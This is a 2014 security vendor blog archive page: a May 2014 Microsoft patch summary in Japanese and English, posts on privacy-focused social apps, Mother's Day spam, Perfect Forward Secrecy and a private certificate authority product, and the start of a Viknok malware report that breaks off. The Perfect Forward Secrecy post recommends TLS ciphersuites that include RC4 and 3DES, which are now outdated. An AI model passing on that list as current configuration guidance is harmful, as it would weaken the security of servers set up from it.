Tag Archives: security

?????????????Microsoft Patch Tuesday?- 2014 ? 5 ?

今月のマイクロソフトパッチリリースブログをお届けします。今月は、13 件の脆弱性を対象として 8 つのセキュリティ情報がリリースされています。このうち 3 件が「緊急」レベルです。

いつものことですが、ベストプラクティスとして以下のセキュリティ対策を講じることを推奨します。

  • ベンダーのパッチが公開されたら、できるだけ速やかにインストールする。
  • ソフトウェアはすべて、必要な機能を使える最小限の権限で実行する。
  • 未知の、または疑わしいソースからのファイルは扱わない。
  • 整合性が未知の、または疑わしいサイトには絶対にアクセスしない。
  • 特定のアクセスが必要な場合を除いて、ネットワークの周辺部では重要なシステムへの外部からのアクセスを遮断する。

マイクロソフトの 5 月のリリースに関する概要は、次のページで公開されています。
http://technet.microsoft.com/ja-jp/security/bulletin/ms14-may

今月のパッチで対処されている問題の一部について、詳しい情報を以下に示します。

  1. MS14-022 Microsoft SharePoint Server の脆弱性により、リモートでコードが実行される(2952166)

    SharePoint ページコンテンツの脆弱性(CVE-2014-0251)MS の深刻度: 重要

    Microsoft SharePoint Server に複数のリモートコード実行の脆弱性が存在します。認証された攻撃者が、関連するこれらの脆弱性のいずれかの悪用に成功すると、W3WP サービスアカウントのセキュリティコンテキストで任意のコードを実行できる場合があります。

    SharePoint XSS の脆弱性(CVE-2014-1754)MS の深刻度: 緊急

    Microsoft SharePoint Server に特権昇格の脆弱性が存在します。攻撃者がこの脆弱性の悪用に成功すると、クロスサイトスクリプティング攻撃を実行し、ログオンユーザーのセキュリティコンテキストでスクリプトを実行できる場合があります。

    Web Applications ページコンテンツの脆弱性(CVE-2014-1813)MS の深刻度: 重要

    Microsoft Web Applications にリモートコード実行の脆弱性が存在します。認証された攻撃者がこの脆弱性の悪用に成功すると、W3WP サービスアカウントのセキュリティコンテキストで任意のコードを実行できる場合があります。

  2. MS14-023 Microsoft Office の脆弱性により、リモートでコードが実行される(2961037)

    Microsoft Office の中国語文章校正の脆弱性(CVE-2014-1756)MS の深刻度: 重要

    影響を受ける Microsoft Office ソフトウェアがダイナミックリンクライブラリ(.dll)ファイルのロードを処理する方法に、リモートコード実行の脆弱性が存在します。攻撃者がこの脆弱性の悪用に成功すると、影響を受けるシステムを完全に制御できる恐れがあります。攻撃者はその後、プログラムのインストール、データの表示、変更、削除、完全なユーザー権限を持つ新しいアカウントの作成ができる場合があります。システムでのユーザー権限が低い設定のアカウントを持つユーザーは、管理者のユーザー権限で実行しているユーザーよりもこの脆弱性による影響が少ないと考えられます。

    トークン再使用の脆弱性(CVE-2014-1808)MS の深刻度: 重要

    悪質な Web サイト上にホストされている Office ファイルを開こうとしているとき、影響を受ける Microsoft Office ソフトウェアが特別に細工された応答を適切に処理できない場合に、情報漏えいの脆弱性が存在します。攻撃者がこの脆弱性の悪用に成功すると、標的となる Microsoft オンラインサービスで現在のユーザーの認証に使うアクセストークンを確認できる場合があります。

  3. MS14-024 Microsoft コモンコントロールの脆弱性により、セキュリティ機能が回避される(2961033)

    MSCOMCTL ASLR の脆弱性(CVE-2014-1809)MS の深刻度: 重要

    Microsoft Office ソフトウェアによって使用される MSCOMCTL コモンコントロールライブラリが ASLR(Address Space Layout Randomization)を適切に実装していないため、セキュリティ機能回避の脆弱性が存在します。この脆弱性により、攻撃者は広い範囲の脆弱性からユーザーを保護している ASLR セキュリティ機能を回避できるようになります。このセキュリティ機能の回避そのものによって任意のコードが実行されることはありませんが、攻撃者はこの ASLR 回避の脆弱性を、リモートでコード実行の脆弱性など別の脆弱性と組み合わせて使用し、ASLR 回避を利用することで、任意のコードを実行する可能性があります。

  4. MS14-025 グループポリシー基本設定の脆弱性により、特権が昇格される(2962486)

    グループポリシー基本設定のパスワードの特権昇格の脆弱性(CVE-2014-1812)MS の深刻度: 重要

    Active Directory がグループポリシー基本設定を使って構成されているパスワードを配布する方法に、特権昇格の脆弱性が存在します。認証された攻撃者がこの脆弱性の悪用に成功すると、パスワードを解読して利用し、ドメイン上で特権を昇格できる可能性があります。

  5. MS14-026 .NET Framework の脆弱性により、特権が昇格される(2958732)

    TypeFilterLevel の脆弱性(CVE-2014-1806)MS の深刻度: 重要

    .NET Framework が不正な形式の一部のオブジェクトに対して TypeFilterLevel チェックを処理する方法に、特権昇格の脆弱性が存在します。

  6. MS14-027 Windows シェルハンドラの脆弱性により、特権が昇格される(2962488)

    Windows シェルのファイル関連付けの脆弱性(CVE-2014-1807)MS の深刻度: 重要

    Windows シェルがファイルの関連付けを正しく処理しない場合に、特権昇格の脆弱性が存在します。攻撃者がこの脆弱性の悪用に成功すると、Local System アカウントのコンテキストで任意のコードを実行できる場合があります。攻撃者はその後、プログラムのインストール、データの表示、変更、削除、完全な管理者権限を持つ新しいアカウントの作成ができる場合があります。

  7. MS14-028 iSCSI の脆弱性により、サービス拒否が起こる(2962485)

    iSCSI ターゲットのリモートサービス拒否の脆弱性(CVE-2014-0255)MS の深刻度: 重要

    影響を受けるオペレーティングシステムが iSCSI パケットを処理する方法に、サービス拒否の脆弱性が存在します。攻撃者がこの脆弱性の悪用に成功すると、影響を受けるサービスが応答を停止する可能性があります。

    iSCSI ターゲットのリモートサービス拒否の脆弱性(CVE-2014-0256)MS の深刻度: 重要

    影響を受けるオペレーティングシステムが iSCSI 接続を処理する方法に、サービス拒否の脆弱性が存在します。攻撃者がこの脆弱性の悪用に成功すると、影響を受けるサービスが応答を停止する可能性があります。

  8. MS14-029  Internet Explorer 用のセキュリティ更新プログラム(2962482)

    Internet Explorer のメモリ破損の脆弱性(CVE-2014-0310)MS の深刻度: 緊急

    Internet Explorer のメモリ内のオブジェクトへのアクセスが不適切な場合に、リモートコード実行の脆弱性が存在します。この脆弱性によってメモリが破損し、攻撃者が現在のユーザーのコンテキストで任意のコードを実行できる場合があります。

    Internet Explorer のメモリ破損の脆弱性(CVE-2014-1815)MS の深刻度: 緊急

    Internet Explorer のメモリ内のオブジェクトへのアクセスが不適切な場合に、リモートコード実行の脆弱性が存在します。この脆弱性によってメモリが破損し、攻撃者が現在のユーザーのコンテキストで任意のコードを実行できる場合があります。

今月対処されている脆弱性についての詳しい情報は、シマンテックが無償で公開している SecurityFocus ポータルでご覧いただくことができ、製品をご利用のお客様は DeepSight Threat Management System を通じても情報を入手できます。

 

* 日本語版セキュリティレスポンスブログの RSS フィードを購読するには、http://www.symantec.com/connect/ja/item-feeds/blog/2261/feed/all/ja にアクセスしてください。

Microsoft Patch Tuesday – May 2014

Hello, welcome to this month’s blog on the Microsoft patch release. This month the vendor is releasing eight bulletins covering a total of 13 vulnerabilities. Three of this month’s issues are rated ’Critical’.

As always, customers are advised to follow these security best practices:

  • Install vendor patches as soon as they are available.
  • Run all software with the least privileges required while still maintaining functionality.
  • Avoid handling files from unknown or questionable sources.
  • Never visit sites of unknown or questionable integrity.
  • Block external access at the network perimeter to all key systems unless specific access is required.

Microsoft’s summary of the May releases can be found here:
http://technet.microsoft.com/en-us/security/bulletin/ms14-may

The following is a breakdown of the issues being addressed this month:

  1. MS14-022 Vulnerabilities in Microsoft SharePoint Server Could Allow Remote Code Execution (2952166)

    SharePoint Page Content Vulnerabilities (CVE-2014-0251) MS Rating: Important

    Multiple remote code execution vulnerabilities exist in Microsoft SharePoint Server. An authenticated attacker who successfully exploited any of these related vulnerabilities could run arbitrary code in the security context of the W3WP service account.

    SharePoint XSS Vulnerability (CVE-2014-1754) MS Rating: Critical

    An elevation of privilege vulnerability exists in Microsoft SharePoint Server. An attacker who successfully exploited this vulnerability could allow an attacker to perform cross-site scripting attacks and run script in the security context of the logged-on user.

    Web Applications Page Content Vulnerability (CVE-2014-1813) MS Rating: Important

    A remote code execution vulnerability exists in Microsoft Web Applications. An authenticated attacker who successfully exploited this vulnerability could run arbitrary code in the security context of the W3WP service account.

  2. MS14-023 Vulnerability in Microsoft Office Could Allow Remote Code Execution (2961037)

    Microsoft Office Chinese Grammar Checking Vulnerability (CVE-2014-1756) MS Rating: Important

    A remote code execution vulnerability exists in the way that the affected Microsoft Office software handles the loading of dynamic-link library (.dll) files. An attacker who successfully exploited this vulnerability could take complete control of an affected system. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights. Users whose accounts are configured to have fewer user rights on the system could be less impacted than users who operate with administrative user rights.

    Token Reuse Vulnerability (CVE-2014-1808) MS Rating: Important

    An information disclosure vulnerability exists when the affected Microsoft Office software does not properly handle a specially crafted response while attempting to open an Office file hosted on the malicious website. An attacker who successfully exploited this vulnerability could ascertain access tokens used to authenticate the current user on a targeted Microsoft online service.

  3. MS14-024 Vulnerability in a Microsoft Common Control Could Allow Security Feature Bypass (2961033)

    MSCOMCTL ASLR Vulnerability (CVE-2014-1809) MS Rating: Important

    A security feature bypass vulnerability exists because the MSCOMCTL common controls library used by Microsoft Office software does not properly implement Address Space Layout Randomization (ASLR). The vulnerability could allow an attacker to bypass the ASLR security feature, which helps protect users from a broad class of vulnerabilities. The security feature bypass by itself does not allow an arbitrary code execution. However, an attacker could use this ASLR bypass vulnerability in conjunction with another vulnerability, such as a remote code execution vulnerability that could take advantage of the ASLR bypass to run arbitrary code.

  4. MS14-025 Vulnerability in Group Policy Preferences Could Allow Elevation of Privilege (2962486)

    Group Policy Preferences Password Elevation of Privilege Vulnerability (CVE-2014-1812) MS Rating: Important

    An elevation of privilege vulnerability exists in the way that Active Directory distributes passwords that are configured using Group Policy preferences. An authenticated attacker who successfully exploited the vulnerability could decrypt the passwords and use them to elevate privileges on the domain.

  5. MS14-026 Vulnerability in .NET Framework Could Allow Elevation of Privilege (2958732)

    TypeFilterLevel Vulnerability (CVE-2014-1806) MS Rating: Important

    An elevation of privilege vulnerability exists in the way that the .NET Framework handles TypeFilterLevel checks for some malformed objects.

  6. MS14-027 Vulnerability in Windows Shell Handler Could Allow Elevation of Privilege (2962488)

    Windows Shell File Association Vulnerability (CVE-2014-1807) MS Rating: Important

    An elevation of privilege vulnerability exists when the Windows Shell improperly handles file associations. An attacker who successfully exploited this vulnerability could run arbitrary code in the context of the Local System account. An attacker could then install programs; view, change, or delete data; or create new accounts with full administrative rights.

  7. MS14-028 Vulnerability in iSCSI Could Allow Denial of Service (2962485)

    iSCSI Target Remote Denial of Service Vulnerability (CVE-2014-0255) MS Rating: Important

    A denial of service vulnerability exists in the way that affected operating systems handle iSCSI packets. An attacker who successfully exploited the vulnerability could cause the affected service or services to stop responding.

    iSCSI Target Remote Denial of Service Vulnerability (CVE-2014-0256) MS Rating: Important

    A denial of service vulnerability exists in the way that affected operating systems handle iSCSI connections. An attacker who successfully exploited the vulnerability could cause the affected service or services to stop responding.

  8. MS14-029 Security Security Update for Internet Explorer (2962482)

    Internet Explorer Memory Corruption Vulnerability (CVE-2014-0310) MS Rating: Critical

    A remote code execution vulnerability exists when Internet Explorer improperly accesses an object in memory. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user.

    Internet Explorer Memory Corruption Vulnerability (CVE-2014-1815) MS Rating: Critical

    A remote code execution vulnerability exists when Internet Explorer improperly accesses an object in memory. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user.

More information on the vulnerabilities being addressed this month is available at Symantec’s free SecurityFocus portal and to our customers through the DeepSight Threat Management System.

Privacy Fears Spawn New Generation of Low Profile Social Networks

mobile_device_social_anon.png

Is the era of oversharing over? Recent revelations about state-sponsored surveillance and mega-breaches engineered by cybercrime gangs have put the issue of privacy in the spotlight. After more than a decade where people appeared to be sharing more and more details about themselves online, there is some evidence that a backlash is now underway. Certainly the founders of a number of new social networking services seem to think so and they have made privacy one of the main selling points of their offerings.

One effort at building a more anonymous social network is Secret. Its creators decided to move in the opposite direction to most social networks and minimize the personal information its users share. Available as either an iOS or Android app, it doesn’t use real names or profile photos. Users instead anonymously share text and images. Their posts are shared with other friends who are also on Secret, but users are not told which of their friends authored the post. They can choose to share those posts with their own friends and, if a post goes two degrees beyond its author, it is shared publicly and marked with its broad location (e.g. California).

Secret goes to some length to reassure its users of their privacy. For example, it markets itself with the fact that customer data is stored on Google servers – the same servers used in Gmail – and all communications are encrypted with TLS. Message data is encrypted before being written to its servers and keys are stored in an off-site keystore service that rotates keys. When the app connects a user with someone they know from their contacts book, it doesn’t send phone numbers or email addresses to Secret’s servers. Contact details are locally hashed with a shared salt and the server then compares them against other hashed values.

Secret’s arrival is a sign that social media moguls have spotted which way the wind is blowing. The app was developed by online publishing platform Medium, which was founded by Evan Williams and Biz Stone. Williams was a co-founder of blogging platform pioneer Pyra Labs (and credited with coining the phrase “blogger”) and was later a co-founder of Twitter.

The latest service to launch is Cloaq, which goes far beyond Secret in the level of anonymity it offers its users. Users don’t have to provide any personal information when they sign up, such as their name, email address or phone number. Instead, they choose their own password and Cloaq assigns them a user ID. The company is handing out accounts in batches, e.g. @alpha1 through to @alpha999 and so on.  The downside of having such an anonymous service is that anyone who does forget their user ID or password has no way of retrieving it.

In addition to new social media ventures, established operators have also begun to perceive a market for private services. For example, Twitter chief executive Dick Costolo recently said that the company is exploring the option of introducing a “whisper mode” that will allow its users to move conversations into the private sphere. While the company already has a private direct messaging feature, Costolo indicated that the whisper mode would allow for a smoother transition between public and private conversations. Additionally, he indicated that the feature could enable private conversations between more than two people.

Revelations about surveillance have also prompted some of the main online service providers to beef up their privacy measures. For example, Google has now moved to a default encrypted HTTPS connection whenever a user of its email service Gmail logs on. Furthermore, the company said that it was encrypting all traffic on its data center network, meaning that Gmail data will also be encrypted if it moves between Google servers. The move is intended to allay privacy fears following revelations about state-sponsored surveillance of traffic between data centers.

Google isn’t the only company moving to enhance customer privacy. Yahoo has followed suit, switching on HTTPS as a default on Yahoo mail and encrypting traffic between its data centers. Microsoft too has responded to privacy concerns. Likening the threat posed by surveillance to that presented by malware, the company is encrypting content moving between itself and its customers, in addition to encrypting data center traffic.

Whether a permanent shift towards greater anonymity is underway remains to be seen. However it is clear that the entire industry, from start-ups to the major players, has recognized that it is, for now, a key concern for consumers.

What Spam Would Mom Like This Year?

On May 11, 2014, many countries will celebrate Mother’s Day. Plenty of online articles have been giving gifts ideas and advice for making the day special for mom. Companies have also been sending a huge number of promotional emails with a special message about Mother’s Day. Unsurprisingly, spammers have been exploiting this occasion to send out a fresh batch of spam.

Symantec started observing Mother’s Day spam from early April and we have seen a steady increase in the volume of messages ever since. Previous Mother’s Day spam emails often stuck to certain categories. Spam emails offering flower deliveries, jewelry, personalized messages, coupons, and other gifts for mothers were the most common. Survey and product replica spam were also observed in the past.

The following are the major Mother’s Day themed spam campaigns seen this year.

Flowers for Mother
A beautiful bunch of flowers is something any mother will love and spammers use this theme more than any other. From last month, we have seen numerous emails promising flower deliveries by Mother’s Day. Most of these emails included links that redirected to fraudulent websites and some of the links redirected through multiple domains just to increase the traffic.

figure1_22.png
Figure 1. Preview of a spam email for ordering flowers

The email headers for this category are as follows.

Subject: $19.99 for Flowers and a Vase for Mother’s Day
From: [brand] <Online@[domain]>

Subject: [brand]: $19.99-Flowers for-Mom &-Vase!
From: “[brand] Special” <[brand]Special@[domain]>

Subject: Hi, 50% off Flowers for Mom
From: Fresh Flowers <[brand]@[domain]>

Personalized jewelry for Mom
Beautiful jewelry, particularly rings and pendants with a personalized inscription, is another theme that is a hit around Mother’s Day. Spammers also claim to offer personalized cards or notes along with the product. Like most spam, these emails will usually have links to other sites.

figure2_21.png
Figure 2. Preview of a spam email selling personalized rings for Mother’s Day

The email header for jewelry-themed spam messages are as follows.

Subject: Give Mom Something Unique This Year
From: Mothers Rings <rings@[domain]>

Product replica spam
This category is not too different from others, except that these spam emails advertise websites selling fake watches, jewelry, and other expensive goods. We observed these emails earlier this year and we continued to see them today. In these campaigns, the spammers give users deadlines for placing orders for the products.

figure3_12.png

Figure 3. Preview of replica spam related to Mother’s Day

Email headers seen with this spam campaign are as follows.

Subject: Why so soon?
From: Paige (Mother’s Day deadline) <Paige@[domain]>  

Lose weight by Mother’s Day
We believe that Mother’s Day-themed weight loss medication spam is a spinoff from an ongoing weight loss spam campaign, which has been the largest spam category by volume over the last couple of weeks. These emails include links which redirects to fake news sites offering information about new weight loss products.

Subject: Drop 10LB by Mothers Day
From: Rid 20 Pounds 2 Weeks <Sophia@[domain]>

Portuguese promo spam
We have seen a Portuguese spam campaign sending a large volume of messages promoting products related to Mother’s Day. This spam campaign uses the name of an online site which sells personalized products.

This spam campaign included links redirecting to a fraudulent website, along with a bogus opt-out option.

figure4_10.png
Figure 4. Preview of Portuguese promotional spam exploiting Mother’s Day

Here is the email header for this spam campaign.

Subject: Dia das Mães! Ajudaremos você com o presente.
From: “[brand]OnLine” <envio@painel1.[domain]>

Translation:
Subject: Mother’s Day! We’ll help you with this.

Symantec has observed a high volume of Mother’s Day themed hit-and-run spam recently. Most of these emails included links to a .us top level domain (TLD) which, on further analysis, were found to be registered quite recently. The theme of the domain names show that they were created for a Mother’s Day spam campaign. The domain names followed patterns such as flower-1promo-mothersday and mothersdayflower-special.

Symantec antispam filters successfully blocked these spam mails, but as always, we advise our readers not to respond to any of these emails. Remember, take your time to search for a Mother’s Day gift and don’t just click on links found in these spam mails. Symantec wishes all of our customers a happy Mother’s Day.

Perfect Forward Secrecy

      No Comments on Perfect Forward Secrecy

Recent revelations from Edward Snowden about pervasive government surveillance have led to many questions about the safety of communications using the SSL/TLS protocol. Such communications are generally safe from eavesdroppers, as long as certain precautions are observed. For example, configuring your web server to avoid using SSL2 and SSL3, favoring newer versions of TLS like TLS 1.2, selecting strong ciphersuites, etc.

But even if your server is configured properly, you still must secure the private key associated with your SSL certificate. In nearly all cases, the web site owner generates their key pair and sends only the public key to their Certification Authority (CA). The CA (and any eavesdropper) sees only the public key, and the private key cannot be derived from that. So the CA cannot reveal a web site owner’s private key to the government or an attacker, even if coerced to do so.

After your SSL certificate has expired and been replaced with a new key pair and certificate, it’s still important to secure or destroy the old private key, because attackers have the ability to save old SSL-protected traffic. In many cases, an attacker with a private key and saved SSL traffic can use the private key to decrypt all session keys negotiated during saved SSL handshakes, and then decrypt all saved session data using those session keys.

But not if the web server and its clients agree to use a key agreement protocol that offers support for Perfect Forward Secrecy (PFS). First let’s look at how things work without PFS. The client generates a random number and sends it to the server, encrypted it with the public key of the server. Only the server can decrypt it, so now both sides have the same random number. They use a key generation algorithm to derive the session key from that random number. But an attacker who knows the server’s private key can also decrypt the random number, apply the same key generation algorithm, and arrive at the same session key. The attacker can then decrypt any saved SSL session data.

Using PFS, there is no link between the server’s private key and each session key. If both client and server support PFS, they use a variant of a protocol named Diffie-Hellman (after its inventors), in which both sides securely exchange random numbers and arrive at the same shared secret. It’s a clever algorithm that prevents an eavesdropper from deriving the same secret, even if the eavesdropper can view all the traffic. See this Wikipedia article for a clear explanation of how this works, and this blog post for a more detailed technical explanation. Note that if the ephemeral variant of Diffie-Hellman is used, no part of the exchange is encrypted with the web server’s private key. That means that an attacker who obtains the private key cannot decrypt any saved sessions that were established using PFS.

The variants of Diffie-Hellman are known as Diffie-Hellman Ephemeral (DHE) and Elliptic Curve Diffie-Hellman Ephemeral (ECDHE). You’ll see those terms within the names of TLS ciphersuites that can be configured for use in your web server. For example, Ivan Ristić of SSL Labs recommends the following:

  • TLS_ECDHE_RSA_WITH_RC4_128_SHA
  • TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
  • TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
  • TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA

Please note that there are more options available which may have to be used as the industry moves to ECC certificates, TLS 1.2 and GCM suites. Also note that you may see ciphersuites with DH (not DHE) and ECDH (not ECDHE) in their names – these are variants of Diffie-Hellman that do not exhibit the Perfect Forward Secrecy property. Only DHE and ECDHE support PFS at this time.

Ristić also provides information on how to configure PFS support on Apache, Nginx and OpenSSL. If you want to see if your server supports PFS, test it at the CA Security Council’s SSL Configuration Checker.

Do the browsers support PFS? Yes they do. At this time, Chrome, Firefox, IE, Opera and Safari all support PFS when using ECDHE cipher suites with RSA and ECC SSL certificates. All browsers except IE also support DHE with RSA certificates. You can also test your browser to see if it supports PFS. If your web site needs to support older browsers that may not support PFS, you’ll have to configure your web server to also offer non-PFS suites. But list PFS suites first in order of preference.

PFS is a mature technology that is built in to nearly all major browsers and web servers. It’s available for use in securing your SSL traffic both now and in the future.

 

Tags: Perfect Forward Secrecy, PFS, SSL, SSL Labs

This blog was originally posted at https://casecurity.org/2014/04/11/perfect-forward-secrecy/ Authors Rick Andrews and Bruce Morton

Brauchen Sie eine eigene private Zertifizierungsstelle?

Haben Sie in Ihrem Intranet Domänennamen wie https://intranet.local oder einen Mailserver mit einer Adresse wie https://mail? Viele Unternehmen und Organisationen nutzen solche Domänennamen intern, doch das wird nun problematisch.

SSL-Zertifikate für Intranets

Symantec und die anderen im CA/Browser-Forum zusammengeschlossenen Zertifizierungsstellen (CA) und Browseranbieter haben beschlossen, keine SSL-Zertifikate mehr auszustellen, deren Root-Zertifikat nicht im öffentlich zugänglichen Internet überprüft werden kann.

Das heißt, dass Domänennamen nun weltweit eindeutig sein müssen und nicht nur innerhalb Ihres Intranets. Wenn Sie also beispielsweise eine Domäne mit der Endung .local haben, die Sie intern nutzen, werden Sie dafür bald kein von einer CA ausgestelltes SSL-Zertifikat mehr kaufen können.

Mit der Vergabe neuer gTLDs wie .berlin steigt die Wahrscheinlichkeit, dass weit verbreitete intern genutzte Domänenendungen von Unternehmen gekauft und im öffentlich zugänglichen Internet genutzt werden. Endungen wie .home und .pics wurden bereits beantragt und Anträge für weitere Endungen werden sicher folgen. In Zukunft können nur die Eigentümer dieser gTLDs bei CAs SSL-Zertifikate für sie kaufen.

Dadurch wird die Sicherheit im Internet insgesamt verbessert, doch Unternehmen und Organisationen, die diese neuen gTLDs oder reservierte IP-Adressen für interne Server nutzen, müssen sich nun umstellen.

So bereiten Sie sich auf die Umstellung vor

Wenn Sie in dieser Situation sind, haben Sie drei Möglichkeiten: Sie können die internen Domänennamen durch vollständig qualifizierte Domänennamen ersetzen, selbstsignierte Zertifikate nutzen oder eine private Zertifizierungsstelle (CA) einrichten, um Ihre intern genutzten Domänen zu authentisieren.

Für viele Unternehmen bietet sich die letztgenannte Option an, denn eine private Zertifizierungsstelle erfordert die wenigsten Änderungen an vorhandenen Systemen und ist mit dem geringsten Risiko verbunden.

Das Angebot von Symantec

Vor Kurzem stellte Symantec seine Lösung Private Certification Authority vor. Damit können Sie sowohl die Risiken und versteckten Kosten selbstsignierter Zertifikate als auch die Kosten einer Umstellung Ihres gesamten Intranets auf vollständig qualifizierte Domänennamen vermeiden.

Untitled-1-DE.png

 

Die Lösung beruht auf der robusten Infrastruktur von Symantec und ist für ein breites Anforderungsspektrum geeignet, vom Ausstellen von SSL-Zertifikaten für einzelne, in Intranets genutzte Domänen über Wildcard-Zertifikate bis hin zu selbstsignierten Zertifizierungsstellen. Zudem stellt sie eine gehostete private SSL-Zertifikatshierarchie mit speziell auf den Schutz des unternehmensinternen Datenaustauschs zugeschnittenen Endzertifikaten bereit.

Die Konsole von Managed PKI for SSL erleichtert Ihnen das Zertifikatsmanagement, denn sie ermöglicht die Verwaltung öffentlicher und privater Zertifikate an einer zentralen Stelle. So können Sie die mit dem unbemerkten Ablauf von Zertifikaten verbundenen Risiken vermeiden und rechtzeitig neue Zertifikate ausstellen. Doch unabhängig davon, für welche Lösung Sie sich entscheiden, gilt vor allem eins: Die Umstellung sollte so bald wie möglich erfolgen.

¿Necesita su propia autoridad de certificados?

¿Tiene alguna intranet cuyo nombre se parezca a https://intranet.local o algún servidor de correo electrónico con una dirección que comience por https://mail? Estos nombres de dominio de uso interno son muy frecuentes, pero ahora plantean un grave problema.

Certificados SSL para intranet

Symantec, junto con las demás autoridades de certificación y proveedores de navegadores que conforman el CA/Browser Forum, ha decidido dejar de emitir certificados SSL cuya cadena incluya una raíz pública a la que solo se puede acceder desde la red interna de la empresa.

Esto significa que los nombres de dominio tienen que ser únicos en el mundo, no solo en su red. Por lo tanto, si utiliza un dominio .local de forma interna, dentro de poco ya no podrá comprar certificados SSL validados para ese nombre.

Debido a la aparición de nuevos gTLD, como .london, y a la posibilidad de que empresas comerciales adquieran y usen muchos de los nombres que más se suelen utilizar para designar de forma interna a los dominios de servidor (por ejemplo, ya hay solicitudes para .red y .home, aunque seguro que les seguirán muchos más nombres), será imposible que compre un certificado SSL validado para estos gTLD a menos que le pertenezcan.

Si bien se trata de una medida que mejorará la seguridad, genera ciertos desafíos para aquellas empresas cuyos servidores utilizan estos nombres de dominio para uso interno o para direcciones IP reservadas.

Preparativos para el cambio

Entre las alternativas disponibles, se encuentra el cambio a nombres de dominio completos, el uso de certificados autofirmados o la creación de una autoridad de certificación privada para autenticar los nombres de dominio internos.

Para muchas empresas, esta última opción es una magnífica estrategia de preparación para el cambio, ya que es la alternativa que supone menos cambios en los sistemas existentes y la que conlleva menos riesgos.

La propuesta de Symantec

Para crear autoridades de certificación privadas, Symantec ha lanzado la solución Private Certification Authority. Gracias a este producto, evitará los riesgos y los costes ocultos de los certificados autofirmados, así como el gasto que supone cambiar toda la intranet para que utilice nombres de dominio completos.

Untitled-1-ES.png

 

Al utilizar la infraestructura blindada de Symantec, cumple todos los requisitos de los certificados SSL para intranet de un solo dominio, de los certificados comodín y de las autoridades de certificación autofirmadas. Además, ofrece una jerarquía de certificados SSL privada y alojada con certificados de entidad final creados específicamente para proteger las comunicaciones internas.

La consola Managed PKI for SSL contribuye a simplificar la administración de los certificados SSL, ya que le permite gestionar certificados públicos y privados desde un mismo panel de control. Gracias a esto, se reduce el riesgo de que los certificados caduquen de forma imprevista y se pueden emitir nuevos certificados conforme se necesitan.

Si su empresa dispone de servidores internos que utilizan nombres de dominio en desuso, tendrá que hacer algo al respecto más pronto que tarde.

Avez-vous besoin de votre propre autorité de certification privée ?

Vous possédez un site intranet dont le nom de domaine ressemblerait à https://intranet.local ? Ou un serveur de messagerie avec une adresse de type https://mail ? Certes très répandus, ces noms de domaines internes posent néanmoins un réel problème.

Certificats SSL pour intranet

Symantec s’est associé aux autres membres du CA/Browser Forum (autorités de certification et éditeurs de navigateurs Web) pour décider de stopper l’émission de certificats SSL rattachés à une racine publique ne pouvant être vérifiée dans un contexte d’Internet public.

En conséquence, l’unicité des noms de domaines ne doit plus seulement s’appliquer au niveau local (votre réseau), mais aussi au niveau mondial. En clair, si vous utilisez un domaine .local en interne, vous ne serez bientôt plus en mesure d’acheter des certificats SSL validant ce nom de domaine.

On assiste actuellement à l’émergence de nouveaux domaines génériques de premier niveau (gTLD) de type .london et autres, dans le sillage desquels de nombreux noms devraient suivre – les noms .red et .home sont d’ores et déjà en phase d’homologation. Par conséquent, il est fort probable que la plupart des noms communs utilisés pour identifier les domaines de serveurs en interne finiront par être exploités par des plates-formes commerciales. En clair, à moins que vous ne soyez propriétaire de ces gTLD, vous ne pourrez plus acheter de certificat SSL pour la validation de ces domaines.

Malgré les avantages de ce changement en termes de sécurité, il n’en pose pas moins un véritable enjeu pour les entreprises exploitant des noms de domaines internes ou des adresses IP réservées.

Comment se préparer

Face au changement à venir, les entreprises disposent de plusieurs options pour authentifier leurs noms de domaines internes : passage à des noms de domaines entièrement qualifiés, utilisation de certificats auto-signés ou mise en place d’une autorité de certification (AC) privée.

Pour de nombreuses entreprises, la mise en place d’une AC privée représente la meilleure solution car elle est la moins risquée et ne demande qu’un minimum de changements sur les systèmes existants.

La solution Symantec

Récemment annoncée par Symantec, la solution Private Certification Authority permet aux entreprises d’éliminer les risques et coûts cachés des certificats auto-signés, ainsi que les coûts associés au déploiement de noms de domaine Internet complets sur leur intranet.

Untitled-1-FR.png

 

Grâce à l’infrastructure ultra-sécurisée de Symantec, Private Certification Authority répond à n’importe quelle exigence : des certificats SSL intranet mono-domaines aux autorités de certification auto-signée, en passant par les formules Wildcard. Cette solution hébergée offre une hiérarchie SSL privée avec des certificats pour entités finales spécialement conçus pour sécuriser les communications internes.

Côté gestion, Symantec Private Certification Authority vous permet de consolider tous vos certificats SSL privés et publics au sein de la console Managed PKI for SSL. Résultat : vous éliminez les risques d’expiration inopinée de certificats et pouvez émettre de nouveaux certificats selon vos besoins. Pour conclure, si vos serveurs internes exploitent des noms de domaine invalidés, vous devriez envisager une solution au plus vite.

Sophisticated Viknok Malware Proves That Click-fraud Is Still a Moneymaker for Scammers

Symantec has spotted a recent surge of infections of Trojan.Viknok, which can gain elevated operating system privileges in order to add compromised computers to a botnet. Trojan.Viknok, first observed in April 2013, infects dll files with a malicious payload. Since its initial discovery, the malware has evolved into a sophisticated threat, capable of obtaining elevated operating system privileges in order to infect system files on multiple Windows operating systems, such as the 32 and 64-bit versions of Windows XP, Vista and 7. 

Attackers have been observed using Viknok-infected computers to carry out Adclick fraud. While click-fraud activity has been prevalent for years, it still seems to be an effective way for scammers to make money. The scammers behind the current Viknok campaign have gone to a lot of effort to add more victims to their Adclick botnet, helping them make more money in the process.

While the Viknok malware was discovered last year, attackers have been increasingly using the threat in the last six months. In April 2014, Symantec observed a spike in Trojan.Viknok activity along with new reports of Viknok-infected computers playing random audio clips through victims’ speakers. In the first week of May alone, Symantec saw 16,500 unique Viknok infections. The majority of victims are located in the US.

In this blog, we’ll talk about how Viknok manages to alter a system dll to gain elevated privileges. We’ll discuss the techniques the threat uses to infect its targets and how it takes advantage of compromised computers to conduct click-fraud. Finally, we’ll show how many Viknok infections have occurred in recent months and talk about how to protect yourself from this threat.

Viknok’s privilege escalation exploit
Modifying a system dll is no easy task in today’s operating systems. Even if a user is operating from an administrator account, they will not have the permissions to alter core system files, such as rpcss.dll which lets software continue to run each time Windows restarts. So how can Viknok infect these files?

Viknok has an arsenal of techniques at its disposal to let it perform the silent infection of the system file rpcss.dll. These methods consist of: 

The most powerful of these techniques is the exploitation of CVE-2013-3660, which allows the threat to run code in kernel mode.

